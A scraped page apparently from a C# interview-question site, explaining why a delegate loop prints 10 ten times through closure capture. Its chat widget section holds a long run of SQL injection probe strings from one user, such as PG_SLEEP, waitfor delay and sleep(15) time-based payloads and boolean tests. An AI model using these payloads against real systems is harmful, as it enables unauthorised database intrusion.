What will be the output of the following code that is using delegates?
class Program
{
delegate void Operation();
static void Main(string[] args)
{
var operations = new List<Operation>();
for (var i = 0; i < 10; i++)
{
operations.Add(delegate { Console.WriteLine(i); });
}
foreach (var operation in operations)
{
operation();
}
}
}
Experience Level: Senior
Tags: .NETC#Code challenge
Answer
Answer
- The number 10 will be printed 10x to the output.
- Within the for loop, the delegate captures variable i, which means the variable will be visible to the delegate method body even after the program flow gets out of the first for loop. The variable i is captured in a closure. The value of variable i is not copied. I gets accessed directly.
- When the first for loop is left, the value of the variable i is 10.
- The foreach loop just calls delegate method 10x and variable i that has value 10 assigned is used to write its value to the console.
Good to know
- A delegate is a referrence type
- It can encapsulate a named or an anonymous method
- Whenever you declare a delegate in your program, the C# compiler generates a sealed class internally that's derived from a predefined class System.MulticastDelegate and the Multicast delegate is derived from the System.Delegate class, and both the MulticastDelegate and Delegate Classes are abstract types internally.
- A reference to the outer variable n is said to be captured when the delegate is created. Unlike local variables, the lifetime of a captured variable extends until the delegates that reference the anonymous methods are eligible for garbage collection.
- Closures close over variables, not over values. Every single access of captured variable in your program is accessing the same variable, there are never any copies made of it.
Related C# job interview questions
Write a code that takes an integer number and outputs its digits to the console.
.NETC#Code challenge MediorWhat is variable capturing good for and how does it work?
.NETC# SeniorCould you describe what generic type inference is and what will be the output of this program?
.NETC#Code challenge SeniorWhat is the difference between IEnumerable and IQueryable?
.NETC#Entity FrameworkLINQPerformance SeniorWhat is boxing and unboxing?
.NETC#Performance Junior
Chat
Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.
RiceHawk18
e
e
RiceHawk18
@@xeDO0
@@xeDO0
RiceHawk18
1'"
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
e
RiceHawk18
e
e